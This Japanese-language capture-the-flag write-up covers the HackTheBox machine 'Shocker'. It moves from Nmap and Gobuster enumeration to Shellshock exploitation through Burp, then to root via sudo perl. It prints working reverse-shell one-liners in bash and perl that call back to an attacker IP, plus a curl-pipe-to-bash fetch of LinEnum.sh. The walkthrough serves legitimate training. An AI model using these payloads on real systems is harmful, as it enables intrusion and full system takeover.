Table of Contents
Enumeration: Portscan by Nmap
Nmapでターゲット「10.10.10.56」に対してポートスキャンを実施。
※Nmapについて詳しく知りたい方は、以下のリンクをご参照ください。
nmap -sC -sV -oA shocker 10.10.10.56
-sC: default script scan
-sV: service version detection against open ports
-oA: Output in the three major formats at once
root@kali:~# nmap -sC -sV -oA shocker 10.10.10.56 Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-22 20:37 EDT Nmap scan report for 10.10.10.56 Host is up (0.30s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
<考察> 各ポートで以下のサービスが動作していることを確認。
80/tcp (WEB):
– Version: Apache httpd 2.4.18
2222/tcp (SSH):
– Version: OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
– OSのバージョン情報(パッチ適用済み): 4ubuntu2.2
以下のUbuntu パッケージ検索サイトから、Apacheのバージョン「Apache httpd 2.4.18」をベースにUbuntuのパッケージを推測する。
以下の通り、キーワード「apache2」/ Distribution「xenial」を入力して検索した場合、ヒットしたapache2のバージョンは「2.4.18」のため、ubuntuはxenialと推察される。
Enumeration: 80/tcp (WEB)
Gobusterでターゲット「10.10.10.56」に対してディレクトリ/ファイル探索スキャンを実施。
※Gobusterについて詳しく知りたい方は、以下のリンクをご参照ください。
gobuster -u http://10.10.10.56 -w /usr/share/wordlists/dirb/small.txt -s 200,204,301,302,307,403
-u: The target URL or Domain
-w: Path to the wordlist
-s: Positive status codes (dir mode only) (default "200,204,301,302,307")
root@kali:~# gobuster -u http://10.10.10.56 -w /usr/share/wordlists/dirb/small.txt -s 200,204,301,302,307,403 Gobuster v1.4.1 OJ Reeves (@TheColonial) ===================================================== ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.56/ [+] Threads : 10 [+] Wordlist : /usr/share/wordlists/dirb/small.txt [+] Status codes : 200,204,301,302,307,403 ===================================================== /cgi-bin/ (Status: 403)
http://10.10.10.56/cgi-bin/ (HTTPステータスコード: 403)のURL Pathが存在することを確認。
HTTPステータスコード 403の意味は、以下の通り。
403 Forbidden禁止されている。リソースにアクセスすることを拒否された。リクエストはしたが処理できないという意味。
https://ja.wikipedia.org/wiki/HTTP%E3%82%B9%E3%83%86%E3%83%BC%E3%82%BF%E3%82%B9%E3%82%B3%E3%83%BC%E3%83%89
再度、/cgi-bin/ 配下にはshell scriptやperlなどのファイルが存在する可能性が高いため、見つけたいファイル拡張子を指定(-x)した上でGobusterでurl「http://10.10.10.56/cgi-bin/」に対してスキャンを実施。
gobuster -u http://10.10.10.56/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -s 200,204,301,302,307,403 -x sh,pl
-u: The target URL or Domain
-w: Path to the wordlist
-s: Positive status codes (dir mode only) (default "200,204,301,302,307")
-x: File extension(s) to search for (dir mode only)
root@kali:~# gobuster -u http://10.10.10.56/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -s 200,204,301,302,307,403 -x sh,pl Gobuster v1.4.1 OJ Reeves (@TheColonial) ===================================================== ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.56/cgi-bin/ [+] Threads : 10 [+] Wordlist : /usr/share/wordlists/dirb/small.txt [+] Status codes : 200,204,301,302,307,403 [+] Extensions : .sh,.pl ===================================================== /user.sh (Status: 200) =====================================================
http://10.10.10.56/cgi-bin/user.sh (HTTPステータスコード: 200)のFile Pathが存在することを確認。
ブラウザで上記のPathをアクセスすると、Shell Script「user.sh」をダウンロード出来る。
内容を確認すると、Shell Script「user.sh」が実行された形跡がある。
CGI 環境を利用したWebサーバのBashにRCEの脆弱性「Shellshock」が存在しないか確認するため、Nmapのスクリプトスキャンを実施する。
Shellshockについては知るには、以下のリンクを参照することをお勧めする。
locateコマンドより、shellshockの脆弱性スキャンを行うNmap ScriptのPathを表示する。
root@kali:~# locate -r '\.nse$' | grep -i shellshock /usr/share/nmap/scripts/http-shellshock.nse
Nmap Script「/usr/share/nmap/scripts/http-shellshock.nse」に不備があるため、以下の通り、99行目にコメント「–」を追加。
スクリプト内のUsageを参考に、以下のNmapコマンドを実行してスキャンを実施。
nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 10.10.10.56
shellshockの脆弱性(CVE-2014-6271)が存在することを確認。
root@kali:~# nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 10.10.10.56 Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-22 22:12 EDT Nmap scan report for 10.10.10.56 Host is up (0.33s latency). PORT STATE SERVICE 80/tcp open http | http-shellshock: | VULNERABLE: | HTTP Shellshock vulnerability | State: VULNERABLE (Exploitable) | IDs: CVE:CVE-2014-6271 | This web application might be affected by the vulnerability known as Shellshock. It seems the server | is executing commands injected via malicious HTTP headers. | | Disclosure date: 2014-09-24 | Exploit results: | <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> | <html><head> | <title>500 Internal Server Error</title> | </head><body> | <h1>Internal Server Error</h1> | <p>The server encountered an internal error or | misconfiguration and was unable to complete | your request.</p> | <p>Please contact the server administrator at | webmaster@localhost to inform them of the time this error occurred, | and the actions you performed just before this error.</p> | <p>More information about this error may be available | in the server error log.</p> | <hr> | <address>Apache/2.4.18 (Ubuntu) Server at 10.10.10.56 Port 80</address> | </body></html> | | References: | http://www.openwall.com/lists/oss-security/2014/09/24/10 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169 | http://seclists.org/oss-sec/2014/q3/685 |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
Exploit Shellshock: 80/tcp (WEB)
Nmap Scirpt スキャンのHTTP RequestをBurp SuiteでInterceptする手順を以下に示す。
Proxy > Options > Proxy Listenersの設定でAddを押下し、BindingタブでBurp Suiteが待ち受けるIPを設定する。
– Bind to port -> 8081
次にRequest handlingタブでIntercept後にForwardする宛先host/portを設定する。
– Redirect to host -> 10.10.10.56
– Redirect to host -> 80
Burp SuiteによるInterceptの準備が完了したら、 127.0.0.1に対してNmap Scriptによるshellshockのスキャンを実行する。
nmap -sV -p 8081 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 127.0.0.1
Proxy > Intercept上のAction > Send to Repeaterより、Interceptした/cgi-bin/usr.shに対するHTTP RequestをRepeaterに送る。
Proxy > Interceptにて、以下の通りにHTTP Request Headerの余分な行を削除する。
shellshockにより実行されるコマンドとして、以下のサイトに掲載されているBashを用いたReverse Shell取得用コマンドを用いる。
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1
以下の通りに、Cookie Headerに上記のコマンドを追加する。
攻撃用端末にてNetcatよりターゲットからのReverse ShellをPort4444で待ち受けた上で、Proxy > InterceptにてGoをクリックしてリクエストを送信。
nc -nlvp 4444
一般ユーザー「shelly」で動作するシェル奪取に成功。
root@kali:~# nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.6] from (UNKNOWN) [10.10.10.56] 47248 bash: no job control in this shell shelly@Shocker:/usr/lib/cgi-bin$ id id uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) shelly@Shocker:/usr/lib/cgi-bin$
Privilege Escalation (Linux) with Sudo Rights
ターゲットに存在する権限昇格の脆弱性を探すために、以下のサイトの「LinEnum.sh」を実行する。
shelly@Shocker:/usr/lib/cgi-bin$ curl 10.10.14.6:80/LinEnum.sh | bash
[+] We can sudo without supplying a password! Matching Defaults entries for shelly on Shocker: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User shelly may run the following commands on Shocker: (root) NOPASSWD:
LinEnum.shの実行結果によると、一般ユーザー「shelly」はroot権限でパスワードなしに/usr/bin/perlの実行が許可されていることが分かる。
念のため、ターミナルでも「sudo -l」で上記の設定を確認する。
shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
shelly@Shocker:/usr/lib/cgi-bin$ sudo -l sudo -l Matching Defaults entries for shelly on Shocker: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User shelly may run the following commands on Shocker: (root) NOPASSWD: /usr/bin/perl shelly@Shocker:/usr/lib/cgi-bin$
※Sudo Rightsによる権限昇格の方法について詳しく知りたい方は、以下のリンクをご参照ください。
攻撃用端末にてNetcatよりターゲットからのReverse ShellをPort1234で待ち受けた上で、ターゲット上にて以下のサイトに掲載されているPerlを用いたReverse Shell取得用コマンドをsudoで実行する。
nc -nlvp 1234
shelly@Shocker:/dev/shm$ sudo /usr/bin/perl -e 'use Socket;$i="10.10.14.6";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
root権限で動作するシェル奪取に成功。
root@kali:~# nc -nlvp 1234 listening on [any] 1234 ... connect to [10.10.14.6] from (UNKNOWN) [10.10.10.56] 44780 /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root)
Link
- HackTheBox – Shocker by IppSec
https://www.youtube.com/watch?v=IBlTdguhgfY